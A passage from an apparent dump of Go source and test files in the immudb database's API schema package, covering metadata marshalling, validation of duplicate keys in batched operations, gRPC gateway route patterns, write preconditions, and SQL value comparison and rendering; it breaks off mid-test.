    "content": "package schema\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMetadataMarshalUnmarshal(t *testing.T) {\n\tmeta := Metadata{\n\t\t\"user\": \"default\",\n\t\t\"ip\":   \"127.0.0.1:8080\",\n\t}\n\n\tdata, err := meta.Marshal()\n\trequire.NoError(t, err)\n\n\tt.Run(\"valid metadata\", func(t *testing.T) {\n\t\tunmarshalled := Metadata{}\n\t\terr := unmarshalled.Unmarshal(data)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, meta, unmarshalled)\n\t})\n\n\tt.Run(\"corrupted metadata\", func(t *testing.T) {\n\t\tunmarshalled := Metadata{}\n\t\terr := unmarshalled.Unmarshal(data[:len(data)/2])\n\t\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n\t})\n\n\tt.Run(\"empty metadata\", func(t *testing.T) {\n\t\tm := Metadata{}\n\t\tdata, err := m.Marshal()\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, data)\n\n\t\tunmarshalled := Metadata{}\n\t\terr = unmarshalled.Unmarshal([]byte{})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, unmarshalled)\n\t})\n\n\tt.Run(\"invalid metadata\", func(t *testing.T) {\n\t\tx := make([]byte, 256)\n\n\t\tm := Metadata{\"x\": string(x)}\n\t\t_, err := m.Marshal()\n\t\trequire.ErrorIs(t, err, ErrMetadataTooLarge)\n\n\t\tm = Metadata{\"\": \"v\"}\n\t\t_, err = m.Marshal()\n\t\trequire.ErrorIs(t, err, ErrEmptyMetadataKey)\n\n\t\tm = Metadata{\"k\": \"\"}\n\t\t_, err = m.Marshal()\n\t\trequire.ErrorIs(t, err, ErrEmptyMetadataValue)\n\t})\n}\n"
  },
  {
    "path": "pkg/api/schema/ops.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc (m *ExecAllRequest) Validate() error {\n\tif len(m.GetOperations()) == 0 {\n\t\treturn ErrEmptySet\n\t}\n\tmops := make(map[[sha256.Size]byte]struct{}, len(m.GetOperations()))\n\n\tfor _, op := range m.Operations {\n\t\tif op == nil {\n\t\t\treturn status.New(codes.InvalidArgument, \"Op is not set\").Err()\n\t\t}\n\t\tswitch x := op.Operation.(type) {\n\t\tcase *Op_Kv:\n\t\t\tmk := sha256.Sum256(x.Kv.Key)\n\t\t\tif _, ok := mops[mk]; ok {\n\t\t\t\treturn fmt.Errorf(\"%w: key/reference '%s'\", ErrDuplicatedKeysNotSupported, x.Kv.Key)\n\t\t\t}\n\t\t\tmops[mk] = struct{}{}\n\t\tcase *Op_ZAdd:\n\t\t\tmk := sha256.Sum256(bytes.Join([][]byte{x.ZAdd.Set, x.ZAdd.Key, []byte(strconv.FormatUint(x.ZAdd.AtTx, 10))}, nil))\n\t\t\tif _, ok := mops[mk]; ok {\n\t\t\t\treturn ErrDuplicatedZAddNotSupported\n\t\t\t}\n\t\t\tmops[mk] = struct{}{}\n\t\tcase *Op_Ref:\n\t\t\tmk := sha256.Sum256(x.Ref.Key)\n\t\t\tif _, ok := mops[mk]; ok {\n\t\t\t\treturn fmt.Errorf(\"%w: key/reference '%s'\", ErrDuplicatedKeysNotSupported, x.Ref.Key)\n\t\t\t}\n\t\t\tmops[mk] = struct{}{}\n\n\t\t\tmk = sha256.Sum256(bytes.Join([][]byte{x.Ref.Key, x.Ref.ReferencedKey, []byte(strconv.FormatUint(x.Ref.AtTx, 10))}, nil))\n\t\t\tif _, ok := mops[mk]; ok {\n\t\t\t\treturn ErrDuplicatedReferencesNotSupported\n\t\t\t}\n\t\t\tmops[mk] = struct{}{}\n\t\tcase nil:\n\t\t\treturn status.New(codes.InvalidArgument, \"operation is not set\").Err()\n\t\tdefault:\n\t\t\treturn status.Newf(codes.InvalidArgument, \"unexpected type %T\", x).Err()\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/api/schema/ops_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc TestOps_ValidateErrDuplicatedKeysNotSupported(t *testing.T) {\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_Kv{\n\t\t\t\t\tKv: &KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &Op_Kv{\n\t\t\t\t\tKv: &KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &ZAddRequest{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := aOps.Validate()\n\trequire.ErrorIs(t, err, ErrDuplicatedKeysNotSupported)\n\n}\n\nfunc TestOps_ValidateErrDuplicateZAddNotSupported(t *testing.T) {\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_Kv{\n\t\t\t\t\tKv: &KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &ZAddRequest{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t\tAtTx:  1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &ZAddRequest{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t\tAtTx:  1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := aOps.Validate()\n\trequire.ErrorIs(t, err, ErrDuplicatedZAddNotSupported)\n}\n\nfunc TestOps_ValidateErrEmptySet(t *testing.T) {\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{},\n\t}\n\terr := aOps.Validate()\n\trequire.ErrorIs(t, err, ErrEmptySet)\n}\n\nfunc TestOps_ValidateErrDuplicate(t *testing.T) {\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_Kv{\n\t\t\t\t\tKv: &KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &Op_ZAdd{\n\t\t\t\t\tZAdd: &ZAddRequest{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tScore: 5.6,\n\t\t\t\t\t\tAtTx:  1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\terr := aOps.Validate()\n\trequire.NoError(t, err)\n}\n\nfunc TestOps_ValidateUnexpectedType(t *testing.T) {\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: &Op_Unexpected{},\n\t\t\t},\n\t\t},\n\t}\n\terr := aOps.Validate()\n\trequire.ErrorContains(t, err, fmt.Sprintf(\"unexpected type %T\", &Op_Unexpected{}))\n}\n\nfunc TestExecAllOpsNilElementFound(t *testing.T) {\n\tbOps := make([]*Op, 2)\n\top := &Op{\n\t\tOperation: &Op_ZAdd{\n\t\t\tZAdd: &ZAddRequest{\n\t\t\t\tKey:   []byte(`key`),\n\t\t\t\tScore: 5.6,\n\t\t\t\tAtTx:  4,\n\t\t\t},\n\t\t},\n\t}\n\tbOps[1] = op\n\taOps := &ExecAllRequest{Operations: bOps}\n\terr := aOps.Validate()\n\trequire.ErrorIs(t, err, status.Error(codes.InvalidArgument, \"Op is not set\"))\n}\n\nfunc TestOps_ValidateOperationNilElementFound(t *testing.T) {\n\taOps := &ExecAllRequest{\n\t\tOperations: []*Op{\n\t\t\t{\n\t\t\t\tOperation: nil,\n\t\t\t},\n\t\t},\n\t}\n\terr := aOps.Validate()\n\trequire.ErrorIs(t, err, status.Error(codes.InvalidArgument, \"operation is not set\"))\n}\n"
  },
  {
    "path": "pkg/api/schema/pattern_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPattern_Pattern_ImmuService_VerifiableGet_0(t *testing.T) {\n\tp := Pattern_ImmuService_VerifiableGet_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_VerifiableSet_0(t *testing.T) {\n\tp := Pattern_ImmuService_VerifiableSet_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_Set_0(t *testing.T) {\n\tp := Pattern_ImmuService_Set_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_History_0(t *testing.T) {\n\tp := Pattern_ImmuService_History_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_VerifiableSetReference_0(t *testing.T) {\n\tp := Pattern_ImmuService_VerifiableSetReference_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_VerifiableZAdd_0(t *testing.T) {\n\tp := Pattern_ImmuService_VerifiableZAdd_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_UseDatabase_0(t *testing.T) {\n\tp := Pattern_ImmuService_UseDatabase_0()\n\trequire.NotNil(t, p)\n}\n\nfunc TestPattern_ImmuService_VerifiableTxById_0(t *testing.T) {\n\tp := Pattern_ImmuService_VerifiableTxById_0()\n\trequire.NotNil(t, p)\n}\n"
  },
  {
    "path": "pkg/api/schema/patterns.go",
    "content": "/*\nCopyright 2019-2020 vChain, Inc.\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\thttp://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n)\n\n// Pattern_ImmuService_VerifiableGet_0 exposes the runtime Pattern need to overwrite VerifiableGet autogenerated request\nfunc Pattern_ImmuService_VerifiableGet_0() runtime.Pattern {\n\treturn pattern_ImmuService_VerifiableGet_0\n}\n\n// Pattern_ImmuService_VerifiableSet_0 exposes the runtime Pattern need to overwrite VerifiableSet autogenerated request\nfunc Pattern_ImmuService_VerifiableSet_0() runtime.Pattern {\n\treturn pattern_ImmuService_VerifiableSet_0\n}\n\n// Pattern_ImmuService_Set_0 exposes the runtime Pattern need to overwrite set autogenerated request\nfunc Pattern_ImmuService_Set_0() runtime.Pattern {\n\treturn pattern_ImmuService_Set_0\n}\n\n// Pattern_ImmuService_History_0 exposes the runtime Pattern need to overwrite history autogenerated request\nfunc Pattern_ImmuService_History_0() runtime.Pattern {\n\treturn pattern_ImmuService_History_0\n}\n\n// Pattern_ImmuService_VerifiableSetReference_0 exposes the runtime Pattern need to overwrite VerifiableSetReference autogenerated request\nfunc Pattern_ImmuService_VerifiableSetReference_0() runtime.Pattern {\n\treturn pattern_ImmuService_VerifiableSetReference_0\n}\n\n// Pattern_ImmuService_VerifiableZAdd_0 exposes the runtime Pattern need to overwrite VerifiableZAdd autogenerated request\nfunc Pattern_ImmuService_VerifiableZAdd_0() runtime.Pattern {\n\treturn pattern_ImmuService_VerifiableZAdd_0\n}\n\n// Pattern_ImmuService_UseDatabase_0 exposes the runtime Pattern need to overwrite UseDatabase autogenerated request\nfunc Pattern_ImmuService_UseDatabase_0() runtime.Pattern {\n\treturn pattern_ImmuService_UseDatabase_0\n}\n\n// Pattern_ImmuService_VerifiableTxById_0 exposes the runtime Pattern need to overwrite VerifiableTxById autogenerated request\nfunc Pattern_ImmuService_VerifiableTxById_0() runtime.Pattern {\n\treturn pattern_ImmuService_VerifiableTxById_0\n}\n"
  },
  {
    "path": "pkg/api/schema/preconditions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nfunc PreconditionKeyMustExist(key []byte) *Precondition {\n\treturn &Precondition{\n\t\tPrecondition: &Precondition_KeyMustExist{\n\t\t\tKeyMustExist: &Precondition_KeyMustExistPrecondition{\n\t\t\t\tKey: key,\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc PreconditionKeyMustNotExist(key []byte) *Precondition {\n\treturn &Precondition{\n\t\tPrecondition: &Precondition_KeyMustNotExist{\n\t\t\tKeyMustNotExist: &Precondition_KeyMustNotExistPrecondition{\n\t\t\t\tKey: key,\n\t\t\t},\n\t\t},\n\t}\n}\n\nfunc PreconditionKeyNotModifiedAfterTX(key []byte, txID uint64) *Precondition {\n\treturn &Precondition{\n\t\tPrecondition: &Precondition_KeyNotModifiedAfterTX{\n\t\t\tKeyNotModifiedAfterTX: &Precondition_KeyNotModifiedAfterTXPrecondition{\n\t\t\t\tKey:  key,\n\t\t\t\tTxID: txID,\n\t\t\t},\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "pkg/api/schema/row_value.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n)\n\ntype SqlValue interface {\n\tisSQLValue_Value\n\tEqual(sqlv SqlValue) (bool, error)\n}\n\nfunc (v *SQLValue_Null) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif !isNull {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n\nfunc (v *SQLValue_N) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif isNull {\n\t\treturn false, nil\n\t}\n\n\tn, isNumber := sqlv.(*SQLValue_N)\n\tif !isNumber {\n\t\treturn false, sql.ErrNotComparableValues\n\t}\n\treturn v.N == n.N, nil\n}\n\nfunc (v *SQLValue_S) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif isNull {\n\t\treturn false, nil\n\t}\n\n\ts, isString := sqlv.(*SQLValue_S)\n\tif !isString {\n\t\treturn false, sql.ErrNotComparableValues\n\t}\n\treturn v.S == s.S, nil\n}\n\nfunc (v *SQLValue_B) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif isNull {\n\t\treturn false, nil\n\t}\n\n\tb, isBool := sqlv.(*SQLValue_B)\n\tif !isBool {\n\t\treturn false, sql.ErrNotComparableValues\n\t}\n\treturn v.B == b.B, nil\n}\n\nfunc (v *SQLValue_Bs) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif isNull {\n\t\treturn false, nil\n\t}\n\n\tb, isBytes := sqlv.(*SQLValue_Bs)\n\tif !isBytes {\n\t\treturn false, sql.ErrNotComparableValues\n\t}\n\treturn bytes.Equal(v.Bs, b.Bs), nil\n}\n\nfunc (v *SQLValue_Ts) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif isNull {\n\t\treturn false, nil\n\t}\n\n\tts, isTimestamp := sqlv.(*SQLValue_Ts)\n\tif !isTimestamp {\n\t\treturn false, sql.ErrNotComparableValues\n\t}\n\treturn v.Ts == ts.Ts, nil\n}\n\nfunc (v *SQLValue_F) Equal(sqlv SqlValue) (bool, error) {\n\t_, isNull := sqlv.(*SQLValue_Null)\n\tif isNull {\n\t\treturn false, nil\n\t}\n\n\tf, isFloat := sqlv.(*SQLValue_F)\n\tif !isFloat {\n\t\treturn false, sql.ErrNotComparableValues\n\t}\n\treturn v.F == f.F, nil\n}\n\nfunc RenderValue(op isSQLValue_Value) string {\n\tswitch v := op.(type) {\n\tcase *SQLValue_Null:\n\t\t{\n\t\t\treturn \"NULL\"\n\t\t}\n\tcase *SQLValue_N:\n\t\t{\n\t\t\treturn strconv.FormatInt(int64(v.N), 10)\n\t\t}\n\tcase *SQLValue_S:\n\t\t{\n\t\t\treturn fmt.Sprintf(\"\\\"%s\\\"\", v.S)\n\t\t}\n\tcase *SQLValue_B:\n\t\t{\n\t\t\treturn strconv.FormatBool(v.B)\n\t\t}\n\tcase *SQLValue_Bs:\n\t\t{\n\t\t\treturn hex.EncodeToString(v.Bs)\n\t\t}\n\tcase *SQLValue_Ts:\n\t\t{\n\t\t\tt := sql.TimeFromInt64(v.Ts)\n\t\t\treturn t.Format(\"2006-01-02 15:04:05.999999\")\n\t\t}\n\tcase *SQLValue_F:\n\t\t{\n\t\t\treturn strconv.FormatFloat(float64(v.F), 'f', -1, 64)\n\t\t}\n\t}\n\n\treturn fmt.Sprintf(\"%v\", op)\n}\n\nfunc RenderValueAsByte(op isSQLValue_Value) []byte {\n\tswitch v := op.(type) {\n\tcase *SQLValue_Null:\n\t\t{\n\t\t\treturn nil\n\t\t}\n\tcase *SQLValue_N:\n\t\t{\n\t\t\treturn []byte(strconv.FormatInt(int64(v.N), 10))\n\t\t}\n\tcase *SQLValue_S:\n\t\t{\n\t\t\treturn []byte(v.S)\n\t\t}\n\tcase *SQLValue_B:\n\t\t{\n\t\t\treturn []byte(strconv.FormatBool(v.B))\n\t\t}\n\tcase *SQLValue_Bs:\n\t\t{\n\t\t\treturn []byte(hex.EncodeToString(v.Bs))\n\t\t}\n\tcase *SQLValue_Ts:\n\t\t{\n\t\t\tt := sql.TimeFromInt64(v.Ts)\n\t\t\treturn []byte(t.Format(\"2006-01-02 15:04:05.999999\"))\n\t\t}\n\tcase *SQLValue_F:\n\t\t{\n\t\t\treturn []byte(strconv.FormatFloat(float64(v.F), 'f', -1, 64))\n\t\t}\n\t}\n\treturn []byte(fmt.Sprintf(\"%v\", op))\n}\n\nfunc RawValue(v *SQLValue) interface{} {\n\tif v == nil {\n\t\treturn nil\n\t}\n\n\tswitch tv := v.Value.(type) {\n\tcase *SQLValue_Null:\n\t\t{\n\t\t\treturn nil\n\t\t}\n\tcase *SQLValue_N:\n\t\t{\n\t\t\treturn tv.N\n\t\t}\n\tcase *SQLValue_S:\n\t\t{\n\t\t\treturn tv.S\n\t\t}\n\tcase *SQLValue_B:\n\t\t{\n\t\t\treturn tv.B\n\t\t}\n\tcase *SQLValue_Bs:\n\t\t{\n\t\t\treturn tv.Bs\n\t\t}\n\tcase *SQLValue_Ts:\n\t\t{\n\t\t\treturn sql.TimeFromInt64(tv.Ts)\n\t\t}\n\tcase *SQLValue_F:\n\t\t{\n\t\t\treturn tv.F\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/api/schema/row_value_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"encoding/hex\"\n\t\"math\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRowComparison(t *testing.T) {\n\tnullValue := &SQLValue_Null{}\n\ttrueValue := &SQLValue_B{B: true}\n\tfalseValue := &SQLValue_B{B: false}\n\tstringValue1 := &SQLValue_S{S: \"string1\"}\n\tstringValue2 := &SQLValue_S{S: \"string2\"}\n\tintValue1 := &SQLValue_N{N: 1}\n\tintValue2 := &SQLValue_N{N: 2}\n\tblobValue1 := &SQLValue_Bs{Bs: nil}\n\tblobValue2 := &SQLValue_Bs{Bs: []byte{1, 2, 3}}\n\ttsValue1 := &SQLValue_Ts{Ts: time.Date(2021, 12, 8, 13, 46, 23, 12345000, time.UTC).UnixNano() / 1e3}\n\ttsValue2 := &SQLValue_Ts{Ts: time.Date(2020, 11, 7, 12, 45, 22, 12344000, time.UTC).UnixNano() / 1e3}\n\tfloat64Value1 := &SQLValue_F{F: 1.1}\n\tfloat64Value2 := &SQLValue_F{F: .1}\n\tfloat64Value3 := &SQLValue_F{F: 0.0}\n\tfloat64Value4 := &SQLValue_F{F: math.MaxFloat64}\n\tfloat64Value5 := &SQLValue_F{F: -math.MaxFloat64}\n\tfloat64Value6 := &SQLValue_F{F: -0.0}\n\n\tequals, err := nullValue.Equal(nullValue)\n\trequire.NoError(t, err)\n\trequire.True(t, equals)\n\n\tequals, err = nullValue.Equal(trueValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\tequals, err = trueValue.Equal(nullValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\t_, err = trueValue.Equal(stringValue1)\n\trequire.ErrorIs(t, err, sql.ErrNotComparableValues)\n\n\tequals, err = trueValue.Equal(falseValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\tequals, err = stringValue1.Equal(nullValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\t_, err = stringValue1.Equal(trueValue)\n\trequire.ErrorIs(t, err, sql.ErrNotComparableValues)\n\n\tequals, err = stringValue1.Equal(stringValue2)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\tequals, err = intValue1.Equal(nullValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\t_, err = intValue1.Equal(trueValue)\n\trequire.ErrorIs(t, err ,sql.ErrNotComparableValues)\n\n\tequals, err = intValue1.Equal(intValue2)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\tequals, err = blobValue1.Equal(nullValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\t_, err = blobValue1.Equal(trueValue)\n\trequire.ErrorIs(t, err, sql.ErrNotComparableValues)\n\n\tequals, err = blobValue1.Equal(blobValue2)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\tequals, err = tsValue1.Equal(tsValue1)\n\trequire.NoError(t, err)\n\trequire.True(t, equals)\n\n\tequals, err = tsValue1.Equal(nullValue)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\tequals, err = tsValue1.Equal(tsValue2)\n\trequire.NoError(t, err)\n\trequire.False(t, equals)\n\n\t_, err = tsValue1.Equal(stringValue1)\n\trequire.ErrorIs(t, err, sql.ErrNotComparableValues)\n\n\trawNilValue := RawValue(nil)\n\trequire.Equal(t, nil, rawNilValue)\n\n\trawNullValue := RawValue(&SQLValue{Value: nullValue})\n\trequire.Equal(t, nil, rawNullValue)\n\n\trawTrueValue := RawValue(&SQLValue{Value: trueValue})\n\trequire.Equal(t, true, rawTrueValue)\n\n\trawFalseValue := RawValue(&SQLValue{Value: falseValue})\n\trequire.Equal(t, false, rawFalseValue)\n\n\trawStringValue := RawValue(&SQLValue{Value: stringValue1})\n\trequire.Equal(t, \"string1\", rawStringValue)\n\n\trawIntValue := RawValue(&SQLValue{Value: intValue1})\n\trequire.Equal(t, int64(1), rawIntValue)\n\n\trawBlobValue := RawValue(&SQLValue{Value: blobValue2})\n\trequire.Equal(t, []byte{1, 2, 3}, rawBlobValue)\n\n\trawTimestampValue := RawValue(&SQLValue{Value: tsValue1})\n\trequire.Equal(t, time.Date(2021, 12, 8, 13, 46, 23, 12345000, time.UTC), rawTimestampValue)\n\n\tnv := SQLValue{Value: nullValue}\n\tbytesNullValue := RenderValueAsByte(nv.GetValue())\n\trequire.Equal(t, []byte(nil), bytesNullValue)\n\n\ttv := SQLValue{Value: trueValue}\n\tbytesTrueValue := RenderValueAsByte(tv.GetValue())\n\trequire.Equal(t, []byte(`true`), bytesTrueValue)\n\n\tbf := SQLValue{Value: falseValue}\n\tbytesFalseValue := RenderValueAsByte(bf.GetValue())\n\trequire.Equal(t, []byte(`false`), bytesFalseValue)\n\n\tsv := &SQLValue{Value: stringValue1}\n\tbytesStringValue := RenderValueAsByte(sv.GetValue())\n\trequire.Equal(t, []byte(\"string1\"), bytesStringValue)\n\n\tiv := &SQLValue{Value: intValue1}\n\tbytesIntValue := RenderValueAsByte(iv.GetValue())\n\trequire.Equal(t, []byte(`1`), bytesIntValue)\n\n\tbv := &SQLValue{Value: blobValue2}\n\tbytesBlobValue := RenderValueAsByte(bv.GetValue())\n\trequire.Equal(t, []byte(hex.EncodeToString([]byte{1, 2, 3})), bytesBlobValue)\n\n\ttsv := &SQLValue{Value: tsValue2}\n\tbytesTimestampValue := RenderValueAsByte(tsv.GetValue())\n\trequire.Equal(t, []byte(\"2020-11-07 12:45:22.012344\"), bytesTimestampValue)\n\n\tnv = SQLValue{Value: nullValue}\n\trNullValue := RenderValue(nv.GetValue())\n\trequire.Equal(t, \"NULL\", rNullValue)\n\n\ttv = SQLValue{Value: trueValue}\n\trTrueValue := RenderValue(tv.GetValue())\n\trequire.Equal(t, \"true\", rTrueValue)\n\n\tbf = SQLValue{Value: falseValue}\n\trFalseValue := RenderValue(bf.GetValue())\n\trequire.Equal(t, \"false\", rFalseValue)\n\n\tsv = &SQLValue{Value: stringValue1}\n\trStringValue := RenderValue(sv.GetValue())\n\trequire.Equal(t, \"\\\"string1\\\"\", rStringValue)\n\n\tiv = &SQLValue{Value: intValue1}\n\trIntValue := RenderValue(iv.GetValue())\n\trequire.Equal(t, \"1\", rIntValue)\n\n\tbv = &SQLValue{Value: blobValue2}\n\trBlobValue := RenderValue(bv.GetValue())\n\trequire.Equal(t, \"010203\", rBlobValue)\n\n\ttsv = &SQLValue{Value: tsValue1}\n\trTimestampValue := RenderValue(tsv.GetValue())\n\trequire.Equal(t, \"2021-12-08 13:46:23.012345\", rTimestampValue)\n\n\tftv := &SQLValue{Value: float64Value1}\n\tfloatValue := RenderValue(ftv.GetValue())\n\trequire.Equal(t, \"1.1\", floatValue)\n\tfloatValueB := RenderValueAsByte(ftv.GetValue())\n\trequire.Equal(t, []byte(\"1.1\"), floatValueB)\n\tfloatValueR := RawValue(ftv)\n\trequire.Equal(t, 1.1, floatValueR)\n\n\tftv = &SQLValue{Value: float64Value2}\n\tfloatValue = RenderValue(ftv.GetValue())\n\trequire.Equal(t, \"0.1\", floatValue)\n\n\tftv = &SQLValue{Value: float64Value3}\n\tfloatValue = RenderValue(ftv.GetValue())\n\trequire.Equal(t, \"0\", floatValue)\n\n\tftv = &SQLValue{Value: float64Value4}\n\tfloatValue = RenderValue(ftv.GetValue())\n\trequire.Equal(t, 